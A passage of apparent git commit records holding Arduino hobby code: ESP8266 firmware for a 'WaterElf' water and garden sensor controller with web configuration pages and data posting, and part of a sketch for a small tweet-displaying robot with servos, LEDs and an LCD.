key.toCharArray(keychars, key.length()+1);\n WiFi.begin(ssidchars, keychars);\n }\n\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\nString genServerConfForm() {\n String f = pageTop;\n f += \": Server Config\";\n f += pageTop2;\n f += \"<h2>Configure data sharing<\/h2><p>\\n\";\n\n f += \"<form method='POST' action='svrchz'> \";\n f += \"<br\/>Local server IP address: \";\n f += \"<input type='textarea' name='svraddr'><br\/><br\/> \";\n \/\/f += \"Sharing on WeGrow.social: \";\n \/\/ TODO set checked dependent on getCloudShare()\n \/\/f += \"on <input type='radio' name='wegrow' value='on' checked>\\n\";\n \/\/f += \"off <input type='radio' name='wegrow' value='off'><br\/><br\/>\\n\";\n f += \"<input type='submit' value='Submit'><\/form><\/p>\";\n\n f += pageFooter;\n return f;\n}\nString genAnalogConfForm() {\n String f = pageTop;\n f += \": Analog Sensor Config\";\n f += pageTop2;\n f += \"<h2>Configure Analog Sensor<\/h2><p>\\n\";\n\n f += \"<form method='POST' action='algchz'> \";\n f += \"<br\/>Analog sensor:\\n<ul>\\n\";\n f += \"<li>none <input type='radio' name='analog_sensor' value='analog_none' checked>\\n\";\n f += \"<li>mains current <input type='radio' name='analog_sensor' value='analog_mains'>\\n\";\n f += \"<li>water pressure <input type='radio' name='analog_sensor' value='analog_pressure'>\\n\";\n f += \"<input type='submit' value='Submit'><\/form><\/ul><\/p>\";\n\n f += pageFooter;\n return f;\n}\nvoid handle_serverconf() {\n dln(netDBG, \"serving page at \/serverconf\");\n String toSend = genServerConfForm();\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_analogconf() {\n dln(netDBG, \"serving page at \/analogconf\");\n String toSend = genAnalogConfForm();\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_svrchz() {\n dln(netDBG, \"serving page at \/svrchz\");\n String toSend = pageTop;\n toSend += \": data sharing configured\";\n toSend += pageTop2;\n\n boolean cloudShare = false;\n for(uint8_t i = 0; i < webServer.args(); i++) {\n if(webServer.argName(i) == \"svraddr\") {\n svrAddr = webServer.arg(i);\n toSend += \"<h2>Added local server config...<\/h2>\";\n toSend += \"<p>...at \";\n toSend += svrAddr;\n toSend += \"<\/p>\";\n } else if(webServer.argName(i) == \"key\") {\n if(webServer.arg(i) == \"on\")\n cloudShare = true;\n }\n }\n\n \/\/ persist the config\n setSvrAddrP(svrAddr);\n setCloudShare(cloudShare);\n\n \/\/ TODO some way of verifying if server config worked\n \/\/ add srvstatus, or roll that into elfstatus, or...?\n\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_algchz() {\n dln(netDBG, \"serving page at \/algchz\");\n String toSend = pageTop;\n toSend += \": analog sensor configured\";\n toSend += pageTop2;\n\n for(uint8_t i = 0; i < webServer.args(); i++) {\n if(webServer.argName(i) == \"analog_sensor\") { \/\/ remember\/persist the type\n String argVal = webServer.arg(i);\n analogSensor = ANALOG_SENSOR_NONE; \/\/ the default is...\n GOT_ANALOG_SENSOR = false; \/\/ ...no sensor\n if(argVal == \"analog_mains\") {\n analogSensor = ANALOG_SENSOR_MAINS;\n GOT_ANALOG_SENSOR = true;\n } else if(argVal == \"analog_pressure\") {\n analogSensor = ANALOG_SENSOR_PRESSURE;\n GOT_ANALOG_SENSOR = true;\n } else if(argVal != \"analog_none\") {\n Serial.println(\"unknown analog sensor type\");\n }\n toSend += \"<h2>Added analog sensor config...<\/h2>\";\n toSend += \"<p>...for \";\n toSend += analogSensor;\n toSend += \"<\/p>\";\n setAnalogSensorP(analogSensor);\n }\n }\n\n toSend += pageFooter;\n dbg(analogDBG, analogSensor); dbg(analogDBG, \"\\n\");\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_actuate() {\n dln(netDBG, \"serving page at \/actuate\");\n String toSend = pageTop;\n toSend += \": Setting Actuator\";\n toSend += pageTop2;\n\n boolean newState = false;\n for(uint8_t i = 0; i < webServer.args(); i++ ) {\n if(webServer.argName(i) == \"state\") {\n if(webServer.arg(i) == \"on\")\n newState = true;\n }\n }\n\n \/\/ now we trigger the 433 transmitter\n if(newState == true){\n mySwitch.switchOn(RCSW_CHANNEL, RCSW_HEATER);\n dln(netDBG, \"Actuator on\");\n } else {\n mySwitch.switchOff(RCSW_CHANNEL, RCSW_HEATER);\n dln(netDBG, \"Actuator off\");\n }\n\n toSend += \"<h2>Actuator triggered<\/h2>\\n\";\n toSend += \"<p>(New state should be \";\n toSend += (newState) ? \"on\" : \"off\";\n toSend += \".)<\/p>\\n\";\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\nvoid handle_valve1() { handle_valve(0); } \/\/ valves in the UI are...\nvoid handle_valve2() { handle_valve(1); } \/\/ ...numbered from 1, but...\nvoid handle_valve3() { handle_valve(2); } \/\/ ...from 0 in the FlowController\nvoid handle_valve(int valveNum) {\n dbg(valveDBG, \"serving page at \/valve\");\n dln(valveDBG, valveNum + 1);\n String toSend = pageTop;\n toSend += \": Setting Water Valve \";\n toSend += valveNum + 1;\n toSend += pageTop2;\n\n boolean newState = false;\n for(uint8_t i = 0; i < webServer.args(); i++ ) {\n if(webServer.argName(i) == \"state\") {\n if(webServer.arg(i) == \"on\")\n newState = true;\n }\n }\n flowController.valves[valveNum].stateChange(newState);\n\n toSend += \"<h2>Water Valve \";\n toSend += valveNum + 1;\n toSend += \" triggered<\/h2>\\n\";\n toSend += \"<p>(New state should be \";\n toSend += (newState) ? \"on\" : \"off\";\n toSend += \".)<\/p>\\n\";\n toSend += pageFooter;\n webServer.send(200, \"text\/html\", toSend);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ sensor\/actuator stuff \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid startPeripherals() {\n dln(monitorDBG, \"\\nstartPeripherals...\");\n mySwitch.enableTransmit(15); \/\/ RC transmitter is connected to Pin 15\n\n tempSensor.begin(); \/\/ start the onewire temperature sensor\n if(tempSensor.getDeviceCount()==1) {\n GOT_TEMP_SENSOR = true;\n tempSensor.getAddress(tempAddr, 0);\n tempSensor.setResolution(tempAddr, 12); \/\/ 12 bit res (DS18B20 does 9-12)\n }\n \n dht.begin(); \/\/ start the humidity and air temperature sensor\n float airHumid = dht.readHumidity();\n float airCelsius = dht.readTemperature();\n if (isnan(airHumid) || isnan(airCelsius)) {\n dln(monitorDBG, \"failed to find humidity sensor\");\n } else {\n GOT_HUMID_SENSOR = true;\n }\n\n \/\/ configure the level sensors\n pinMode(LEVEL_TRIG_PIN, OUTPUT);\n pinMode(LEVEL_ECHO_PIN1, INPUT);\n pinMode(LEVEL_ECHO_PIN2, INPUT);\n pinMode(LEVEL_ECHO_PIN3, INPUT);\n GOT_LEVEL_SENSOR = true;\n\n Wire.begin();\n byte error;\n Wire.beginTransmission(0x29);\n error = Wire.endTransmission();\n if(error==0){\n GOT_LIGHT_SENSOR = true;\n tsl.begin(); \/\/ startup light sensor\n \/\/ can change gain of light sensor on the fly, to adapt \n \/\/ brighter\/dimmer light situations\n \/\/ tsl.setGain(TSL2591_GAIN_LOW); \/\/ 1x gain (bright light)\n tsl.setGain(TSL2591_GAIN_MED); \/\/ 25x gain\n \/\/ tsl.setGain(TSL2591_GAIN_HIGH); \/\/ 428x gain\n \n \/\/ changing the integration time gives you a longer time over which to\n \/\/ sense light longer timelines are slower, but are good in very low light\n \/\/ situtations!\n \/\/ tsl.setTiming(TSL2591_INTEGRATIONTIME_100MS); \/\/ shortest (bright)\n tsl.setTiming(TSL2591_INTEGRATIONTIME_200MS);\n \/\/ tsl.setTiming(TSL2591_INTEGRATIONTIME_300MS);\n \/\/ tsl.setTiming(TSL2591_INTEGRATIONTIME_400MS);\n \/\/ tsl.setTiming(TSL2591_INTEGRATIONTIME_500MS);\n \/\/ tsl.setTiming(TSL2591_INTEGRATIONTIME_600MS); \/\/ longest (dim)\n }\n \n Wire.beginTransmission(pH_Add);\n error = Wire.endTransmission();\n if(error==0){\n GOT_PH_SENSOR = true;\n dln(monitorDBG, \"Found pH sensor\");\n }\n\n if(GOT_ANALOG_SENSOR && analogSensor == \"analog_mains\") {\n emon1.current(A0, 111.1); \/\/ current: input pin, calibration\n }\n}\n\n\/*\npostSensorData: construct & post (via GET, to confuse), sensor data like this:\nGET \/collect\/WaterElf-10865861 HTTP\/1.1\nUser-Agent: WaterElf\/0.000001\nHost: citsci.wegrow.social:8000\nAccept: application\/json\nContent-Type: application\/json\nContent-Length: 146\n\n{ \"timestamp\": 39653, \"airTemp\": 25.90, \"humidity\": 49.40, \"light\": 8, \"pH\": 11.12, \"waterLevel1\": 257, \"waterLevel2\": 257, \"waterLevel3\": 257 }\n*\/\nvoid postSensorData(monitor_t *monitorData) {\n\n\/\/ TODO if we failed to connect last time, wait another few calls before\n\/\/ trying again? to increase web liveness in disconnected devices\n\n dln(citsciDBG, \"\\npostSensorData\");\n String jsonBuf = \"\";\n String citsciAddr = svrAddr;\n if(citsciAddr.length() == 0) \/\/ default cloud server address\n citsciAddr = \"citsci.wegrow.social\";\n formatMonitorEntry(monitorData, &jsonBuf, true);\n String envelope =\n \"GET \/collect\/\"; envelope += apSSIDStr; envelope += \" HTTP\/1.1\\r\\n\";\n envelope += \"User-Agent: WaterElf\/0.000001\\r\\n\";\n envelope += \"Host: \"; envelope += citsciAddr; envelope += \":8000\\r\\n\";\n envelope += \"Accept: application\/json\\r\\n\";\n envelope += \"Content-Type: application\/json\\r\\n\";\n envelope += \"Content-Length: \" ;\n envelope += jsonBuf.length() + 2; \/\/ + 2 for the cr\/nls\n envelope += \"\\r\\n\\r\\n\";\n envelope += jsonBuf;\n \n WiFiClient citsciClient;\n if(citsciClient.connect(citsciAddr.c_str(), 8000)) {\n dln(citsciDBG, \"connected to citsci server; doing GET\");\n citsciClient.print(envelope);\n } else {\n dbg(citsciDBG, citsciAddr);\n dln(citsciDBG, \" - no citsci server\");\n }\n citsciClient.stop();\n \/\/ dln(citsciDBG, envelope);\n\n dln(citsciDBG, \"\");\n return;\n}\nvoid formatMonitorEntry(monitor_t *m, String* buf, bool JSON) {\n if(JSON) buf->concat(\"{ \");\n buf->concat(\"~timestamp~+ \");\n buf->concat(m->timestamp);\n if(GOT_TEMP_SENSOR){\n buf->concat(\"^ ~waterTemp~+ \");\n buf->concat(m->waterCelsius);\n if(! JSON) buf->concat(\"\\t\\u00B0C\");\n }\n if(GOT_HUMID_SENSOR){ \n buf->concat(\"^ ~airTemp~+ \");\n buf->concat(m->airCelsius);\n if(! JSON) buf->concat(\"\\t\\u00B0C\");\n buf->concat(\"^ ~humidity~+ \");\n buf->concat(m->airHumid);\n if(! JSON) buf->concat(\"\\t%RH\");\n }\n if(GOT_LIGHT_SENSOR){\n buf->concat(\"^ ~light~+ \");\n buf->concat(m->lux);\n if(! JSON) buf->concat(\"\\tlux\");\n }\n if(GOT_PH_SENSOR){\n buf->concat(\"^ ~pH~+ \");\n if(! JSON) buf->concat(\"\\t \");\n buf->concat(m->pH);\n }\n if(GOT_LEVEL_SENSOR){\n buf->concat(\"^ ~waterLevel1~+ \"); buf->concat(m->waterLevel1);\n if(! JSON) buf->concat(\"\\tcm\");\n buf->concat(\"^ ~waterLevel2~+ \"); buf->concat(m->waterLevel2);\n if(! JSON) buf->concat(\"\\tcm\");\n buf->concat(\"^ ~waterLevel3~+ \"); buf->concat(m->waterLevel3);\n if(! JSON) buf->concat(\"\\tcm\");\n }\n if(GOT_ANALOG_SENSOR){\n buf->concat(\"^ ~analog~+ \");\n buf->concat(m->analog);\n if(! JSON) buf->concat(\"\\tanalog\");\n }\n if(JSON) {\n buf->concat(\" }\");\n buf->replace('~', '\"');\n buf->replace('^', ',');\n buf->replace('+', ':');\n } else { \/\/ remove quotes and commas\n buf->replace('~', ' ');\n buf->replace('^', '\\n');\n buf->replace('+', '\\t');\n buf->concat(\"\\n\");\n }\n}\nvoid getTemperature(float* waterCelsius) {\n tempSensor.requestTemperatures(); \/\/ send command to get temperatures\n (*waterCelsius) = tempSensor.getTempC(tempAddr);\n dbg(monitorDBG, \"Water temp: \");\n dbg(monitorDBG, *waterCelsius);\n dln(monitorDBG, \" C, \");\n return;\n}\nvoid getHumidity(float* airCelsius, float* airHumid) {\n (*airCelsius) = dht.readTemperature();\n (*airHumid) = dht.readHumidity();\n dbg(monitorDBG, \"Air Temp: \");\n dbg(monitorDBG, *airCelsius);\n dbg(monitorDBG, \" C, \");\n dbg(monitorDBG, \"Humidity: \");\n dbg(monitorDBG, *airHumid);\n dln(monitorDBG, \" %RH, \");\n return;\n}\nvoid getLight(uint16_t* lux) {\n sensors_event_t event;\n tsl.getEvent(&event);\n (*lux) = event.light; \n dbg(monitorDBG, \"Light: \");\n dbg(monitorDBG, *lux);\n dln(monitorDBG, \" Lux\");\n return;\n}\nvoid getPH(float* pH) {\n\/\/ this is our I2C ADC interface section\n\/\/ assign 2 BYTES variables to capture the LSB & MSB (or Hi Low in this case)\n byte adc_high;\n byte adc_low;\n \/\/ we'll assemble the 2 in this variable\n int adc_result;\n \n Wire.requestFrom(pH_Add, 2); \/\/ requests 2 bytes\n while(Wire.available() < 2); \/\/ while two bytes to receive\n adc_high = Wire.read(); \/\/ set...\n adc_low = Wire.read(); \/\/ ...them\n \/\/ now assemble them, remembering byte maths; a Union works well here too\n adc_result = (adc_high * 256) + adc_low;\n \/\/ we have a our Raw pH reading from the ADC; now figure out what the pH is \n float milliVolts = (((float)adc_result\/4096)*vRef)*1000;\n float temp = ((((vRef*(float)pH7Cal)\/4096)*1000) - milliVolts) \/ opampGain;\n (*pH) = 7-(temp\/pHStep); \n dbg(monitorDBG, \"pH: \");\n dbg(monitorDBG, *pH);\n dln(monitorDBG, \" pH\");\n return;\n}\nvoid getLevel(int echoPin, long* waterLevel) {\n long duration;\n int TIMEOUT = 15000; \/\/ how long to wait for pulse\n\n digitalWrite(LEVEL_TRIG_PIN, LOW); \/\/ prepare for ping\n delayMicroseconds(2);\n digitalWrite(LEVEL_TRIG_PIN, HIGH); \/\/ start ping\n delayMicroseconds(10); \/\/ allow 10ms ping\n digitalWrite(LEVEL_TRIG_PIN, LOW); \/\/ stop ping\n duration = pulseIn(echoPin, HIGH, TIMEOUT); \/\/ wait for response\n\n (*waterLevel) = (duration\/2) \/ 29.1;\n delay(35); \/\/ anti-interference measure\n\n dbg(monitorDBG, \"Water Level: \");\n dbg(monitorDBG, *waterLevel);\n dln(monitorDBG, \" cm, \");\n return;\n}\nvoid getAnalog(float* a) {\n dbg(analogDBG, \"getAnalog\\n\");\n\n if(! GOT_ANALOG_SENSOR) {\n (*a) = 0.0;\n } else if(analogSensor == \"analog_mains\") {\n (*a) = (float) ( emon1.calcIrms(1480) \/ 10 \/*fudge!*\/ );\n dbg(analogDBG, \"mains reading is \");\n dbg(analogDBG, (*a)); dbg(analogDBG, \"A\\n\");\n } else if(analogSensor == \"analog_pressure\") {\n int analogValue = analogRead(A0);\n\n \/\/ conversion\/\"calibration\" because sensor 4.5v=1.2MPa\n (*a) = (analogValue - 25) * .19;\n\n dbg(analogDBG, \"value: \");\n dbg(analogDBG, analogValue);\n dbg(analogDBG, \" pressure: \");\n dbg(analogDBG, (*a));\n dbg(analogDBG, \" PSI\\n\");\n }\n\n return;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ config utils \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nboolean getCloudShare() {\n boolean b = false;\n File f = SPIFFS.open(\"\/cloudShare.txt\", \"r\");\n if(f) {\n b = true;\n f.close();\n }\n return b;\n}\nvoid setCloudShare(boolean b) {\n if(b) {\n File f = SPIFFS.open(\"\/cloudShare.txt\", \"w\");\n f.println(\"\");\n f.close();\n } else {\n SPIFFS.remove(\"\/cloudShare.txt\");\n }\n}\nString getSvrAddrP() {\n String s = \"\";\n File f = SPIFFS.open(\"\/svrAddr.txt\", \"r\");\n if(f) {\n s = f.readString();\n s.trim();\n f.close();\n }\n return s;\n}\nvoid setSvrAddrP(String s) {\n File f = SPIFFS.open(\"\/svrAddr.txt\", \"w\");\n f.println(s);\n f.close();\n}\nString getAnalogSensorP() {\n analogSensor = ANALOG_SENSOR_NONE; \/\/ the default is...\n GOT_ANALOG_SENSOR = false; \/\/ ...no sensor\n String s = \"\";\n File f = SPIFFS.open(\"\/analogSensor.txt\", \"r\");\n if(f) {\n GOT_ANALOG_SENSOR = true;\n s = f.readString();\n s.trim();\n f.close();\n }\n return s;\n}\nvoid setAnalogSensorP(String s) {\n File f = SPIFFS.open(\"\/analogSensor.txt\", \"w\");\n f.println(s);\n f.close();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ misc utils \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ledOn() { digitalWrite(BUILTIN_LED, LOW); }\nvoid ledOff() { digitalWrite(BUILTIN_LED, HIGH); }\nvoid blink(int times) {\n ledOff();\n for(int i=0; i<times; i++) {\n ledOn(); delay(300); ledOff(); delay(300);\n }\n ledOff();\n}\nString ip2str(IPAddress address) {\n return\n String(address[0]) + \".\" + String(address[1]) + \".\" + \n String(address[2]) + \".\" + String(address[3]);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardesp\/waterelf32\/waterelf32.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"a73e663b58d973c42eb8abf8a43641975b494122","subject":"Ajout du script final","message":"Ajout du script final\n","repos":"lea-leo\/leaspeaking","old_file":"arduino\/Lea\/Lea.ino","new_file":"arduino\/Lea\/Lea.ino","new_contents":"#include <LiquidCrystal_I2C.h>\n#include <Wire.h>\n#include <Servo.h>\n#include <ArduinoJson.h>\n\n\/\/ Set the LCD address to 0x27 for a 16 chars and 2 line display\nLiquidCrystal_I2C lcd(0x27,20,4); \/\/ set the LCD address to 0x27 for a 16 chars and 2 line display\n\n\/\/ LES SERVOMOTEURS\nServo rightArm; \/\/ create servo object to control a servo\nServo leftArm;\nServo head;\n\nint RIGHT_ARM_PIN = 11;\nint LEFT_ARM_PIN = 12;\nint HEAD_PIN = 10;\n\nint pos = 180;\nint LOW_POSITION = 180;\nint HIGH_POSITION = 0;\n\nint RIGHT_ARM_LOW = 0;\nint RIGHT_ARM_MIDDLE = 40;\nint RIGHT_ARM_HIGH = 80;\n\nint LEFT_ARM_LOW = 80;\nint LEFT_ARM_MIDDLE = 40;\nint LEFT_ARM_HIGH = 0;\n\nint HEAD_RIGHT = 0;\nint HEAD_RIGHT_SOFT = 20;\nint HEAD_MIDDLE = 40;\nint HEAD_LEFT = 80;\nint HEAD_LEFT_SOFT = 60;\n\n\n\/\/ LES LED RVB\nconst int R=1; \nconst int V=1; \nconst int B=1;\n\n\nconst int ledRouge=3; \/\/ Constante pour la broche 3\nconst int ledVert=6; \/\/ Constante pour la broche 5\nconst int ledBleu=5; \/\/ Constante pour la broche 6\n\n\/\/ LED ROSE\n\nint led = 9; \/\/ the PWM pin the LED is attached to\nint brightness = 0; \/\/ how bright the LED is\nint fadeAmount = 5; \/\/ how many points to fade the LED by\n\n\n\nconst String KUNG_FU_PANDA = \"KUNG_FU_PANDA\";\nconst String SHAOLIN_SOCCER = \"SHAOLIN_SOCCER\";\nconst String EXORCISTE = \"EXORCISTE\";\n\n\nString motion = KUNG_FU_PANDA;\nString tweet = \"\";\nString rank = \"\";\n\n\n\/**\n * Initialisation\n *\/\nvoid setup()\n{\n Serial.begin(9600);\n\n \/\/ Initailisation du positionnement des servo\n attachServo();\n rightArm.write(RIGHT_ARM_LOW);\n leftArm.write(LEFT_ARM_LOW);\n head.write(HEAD_MIDDLE);\n detachServo();\n\n \/\/ Initialisation des LED\n pinMode(led, OUTPUT);\/\/ LED ROSE\n pinMode (ledVert,OUTPUT); \/\/ Broche ledVert configur\u00e9e en sortie\n pinMode (ledRouge,OUTPUT); \/\/ Broche ledRouge configur\u00e9e en sortie\n pinMode (ledBleu,OUTPUT); \/\/ Broche ledBleu configur\u00e9e en sortie\n\n \/\/ Initialisation du LCD\n lcd.begin(); \/\/ initialize the lcd\n lcd.backlight();\n lcd.home();\n lcd.setCursor (0,1); \n lcd.print(\" Initialisation\");\n lcd.setCursor (0,2); \n lcd.print(\" ..........\");\n\n ledRVBpwm(255,0,234); \/\/ Violet OK\n \/\/ledRVBpwm(255,228,0); \/\/ Orange KO\n \/\/ledRVBpwm(0,255,0); \/\/ Vert OK\n \/\/exorcisteHead();\n \n \/\/analogWrite(ledRouge, 255);\n \/\/digitalWrite(ledBleu, LOW);\n delay(1000);\n \/\/ledRVBpwm(0,255,0);\n delay(1000);\n \/\/ledRVBpwm(0,0,255);\n delay(1000);\n}\n\n\/**\n * Boucle principale\n *\/\nvoid loop()\n{\n\n \/\/digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n \/\/delay(1000); \/\/ wait for a second\n \/\/digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n \n if (Serial.available()) {\n \/\/delay(1000);\n lcd.begin();\n lcd.setCursor(0,0);\n \n \/\/lcd.print(Serial.readString());\n parseMessage(Serial.readString());\n String message = tweet;\n int charcount = message.length();\n \n if (charcount <= 20) {\n \n lcd.setCursor (0,0); \n lcd.print(message);\n \n } else if (charcount > 20 && charcount <= 40) {\n \n long remainder = 40 - message.length();\n String firstPart = message.substring(0,20);\n String secondPart = message.substring(20,40);\n \n \/\/firstPart[20] = '\\0';\n \/\/secondPart[remainder] = '\\0';\n \n lcd.setCursor (0,0); \/\/ go to start of 2nd line\n lcd.print(firstPart);\n lcd.setCursor (0,2); \/\/ go to start of 2nd line\n lcd.print(secondPart);\n \n } else if (charcount > 40 && charcount <= 60) {\n \n int remainder = 60 - message.length();\n \n String firstPart = message.substring(0,20);\n String secondPart = message.substring(20,40);\n String thirdPart = message.substring(40,60);\n\n \/\/firstPart[20] = '\\0';\n \/\/secondPart[20] = '\\0';\n \/\/thirdPart[remainder] = '\\0';\n \n lcd.setCursor (0,0); \/\/ go to start of 2nd line\n lcd.print(firstPart);\n lcd.setCursor (0,1); \/\/ go to start of 2nd line\n lcd.print(secondPart);\n lcd.setCursor (0,2); \/\/ go to start of 2nd line\n lcd.print(thirdPart);\n \n \n } else if (charcount > 60) {\n \n \/\/int remainder = 80 - message.length();\n \n String firstPart = message.substring(0,20);\n String secondPart = message.substring(20,40);\n String thirdPart = message.substring(40,60);\n String fourthPart = message.substring(60,80);\n fourthPart = fourthPart + \"...\"; \n\n \/*firstPart[20] = '\\0';\n secondPart[20] = '\\0';\n thirdPart[20] = '\\0';\n fourthPart[20] = '\\0';*\/\n \n lcd.setCursor (0,0); \/\/ go to start of 2nd line\n lcd.print(firstPart);\n lcd.setCursor (0,1); \/\/ go to start of 2nd line\n lcd.print(secondPart);\n lcd.setCursor (0,2); \/\/ go to start of 2nd line\n lcd.print(thirdPart);\n lcd.setCursor (0,3); \/\/ go to start of 2nd line\n lcd.print(fourthPart);\n }\n leaMove();\n }\n \/\/ Bug impossible de r\u00e9cup\u00e9rer la cha\u00eene par l'interm\u00e9diaire du python\n \/\/ Alors que le script readArduino marche nickel\n \/\/ l'ajout de boucle au sein du programme python ne change rien.\n \/\/delay(2000);\n \/\/Serial.write(\"DONE\");\n\n}\n\nvoid leaMove() {\n initializeMoves();\n\n if (motion == KUNG_FU_PANDA) {\n ledRVBpwm(0, 255,0);\n delay(500);\n moveArmsAlternate();\n moveHeadYesNoSoft();\n } else if (motion == SHAOLIN_SOCCER) {\n ledRVBpwm(255, 0,0);\n delay(500);\n moveArmsTogether();\n } else if (motion == EXORCISTE) {\n ledRVBpwm(0, 255,0);\n exorcisteHead();\n }\n \/*delay(500);\n digitalWrite(ledVert,LOW); \/\/ allume la couleur voulue\n delay(200); \/\/ pause\n digitalWrite(ledVert,HIGH); \/\/ \u00e9teint la couleur voulue\n delay(200); \/\/ pause\n \n moveArmsTogether();\n\n ledRVBpwm(124, 88,0);\n\n delay(500);\n initializeMoves();\n \n delay(500);\n digitalWrite(ledBleu,LOW); \/\/ allume la couleur voulue\n delay(200); \/\/ pause\n digitalWrite(ledBleu,HIGH); \/\/ \u00e9teint la couleur voulue\n delay(200); \/\/ pause\n\n delay(500);\n moveArmsAlternate();\n*\/\n initializeMoves();\n\n}\n\n\/**\n * Affichage des LED\n *\/\nvoid ledRVB(int Rouge, int Vert, int Bleu) {\n \/\/--- attention - avec une LED RGB anode commune : la LED s'allume sur niveau BAS !\n if (Rouge==1) digitalWrite(ledRouge,LOW); \/\/ allume couleur\n if (Rouge==0) digitalWrite(ledRouge,HIGH); \/\/ \u00e9teint couleur\n\n if (Vert==1) digitalWrite(ledVert,LOW); \/\/ allume couleur\n if (Vert==0) digitalWrite(ledVert,HIGH); \/\/ \u00e9teint couleur\n\n if (Bleu==1) digitalWrite(ledBleu,LOW); \/\/ allume couleur\n if (Bleu==0) digitalWrite(ledBleu,HIGH); \/\/ \u00e9teint couleur\n}\n\n\/**\n * Affichage nuanc\u00e9 des LED\n *\/\nvoid ledRVBpwm(int pwmRouge, int pwmVert, int pwmBleu) { \/\/ re\u00e7oit valeur 0-255 par couleur\n \/\/--- attention - avec une LED RGB anode commune : la LED s'allume sur niveau BAS !\n analogWrite(ledRouge, 255-pwmRouge); \/\/ impulsion largeur voulue sur la broche 0 = 0% et 255 = 100% haut\n analogWrite(ledVert, 255-pwmVert); \/\/ impulsion largeur voulue sur la broche 0 = 0% et 255 = 100% haut\n analogWrite(ledBleu, 255-pwmBleu); \/\/ impulsion largeur voulue sur la broche 0 = 0% et 255 = 100% haut\n}\n\n\/**\n * R\u00e9cup\u00e9ration des donn\u00e9es contenues dans le message\n *\/\nvoid parseMessage(String message) {\n \/\/ Memory pool for JSON object tree.\n StaticJsonBuffer<1000> jsonBuffer;\n\n \/\/ Root of the object tree.\n JsonObject& root = jsonBuffer.parseObject(message);\n\n \/\/ Test if parsing succeeds.\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n }\n \n \/\/ Fetch values.\n \/\/\n \/\/ Most of the time, you can rely on the implicit casts.\n \/\/ In other case, you can do root[\"time\"].as<long>();\n \/*int motionNumber = root[\"motion\"];\n Serial.println(motionNumber);\n if (motionNumber == 1) {\n Serial.println(\"je suis dans kung fu panda\");\n motion = KUNG_FU_PANDA;\n } else if (motionNumber == 2) {\n Serial.println(\"je suis dans shaolin soccer\");\n motion = SHAOLIN_SOCCER;\n }*\/\n motion = root[\"motion\"].asString();\n tweet = root[\"tweet\"].asString();\n rank = root[\"rank\"].asString();\n}\n\n\n\/**\n * Partie Gestion des servomoteurs \n *\/\n\nvoid initializeMoves() {\n attachServo();\n rightArm.write(RIGHT_ARM_LOW);\n leftArm.write(LEFT_ARM_LOW);\n head.write(HEAD_MIDDLE); \n}\n\nvoid attachServo() {\n if (!rightArm.attached()) {\n rightArm.attach(RIGHT_ARM_PIN);\n }\n if (!leftArm.attached()) {\n leftArm.attach(LEFT_ARM_PIN);\n }\n if (!head.attached()) {\n head.attach(HEAD_PIN);\n }\n}\n\nvoid detachServo() {\n if (rightArm.attached()) {\n rightArm.detach();\n }\n if (leftArm.attached()) {\n leftArm.detach();\n }\n if (head.attached()) {\n head.detach();\n }\n}\n\n\nvoid moveHead() {\n attachServo();\n head.write(HEAD_RIGHT);\n delay(1000);\n head.write(HEAD_LEFT);\n delay(1000);\n head.write(HEAD_MIDDLE);\n detachServo();\n}\n\n\n\/**\n * Bouge les bras en alternance\n *\/\nvoid moveArmsAlternate() {\n attachServo();\n leftArm.write(LEFT_ARM_HIGH);\n moveUpArmsAlternate();\n moveDownArmsAlternate();\n detachServo(); \n}\n\nvoid moveUpArmsAlternate() {\n for (pos = RIGHT_ARM_LOW; pos <= RIGHT_ARM_HIGH; pos += 1) {\n rightArm.write(pos);\n leftArm.write(pos);\n delay(40);\n } \n}\n\nvoid moveDownArmsAlternate() {\n for (pos = RIGHT_ARM_HIGH; pos >= RIGHT_ARM_LOW; pos -= 1) {\n rightArm.write(pos);\n leftArm.write(pos);\n delay(40);\n } \n}\n\n\/**\n * Bouge les bras de mani\u00e8re coordonn\u00e9e\n *\/\nvoid moveArmsTogether() {\n moveUpArmsTogether();\n moveDownArmsTogether();\n detachServo(); \n}\n\nvoid moveUpArmsTogether() {\n for (pos = RIGHT_ARM_LOW; pos <= RIGHT_ARM_HIGH; pos += 1) {\n rightArm.write(pos);\n leftArm.write(LEFT_ARM_LOW - pos);\n delay(40);\n 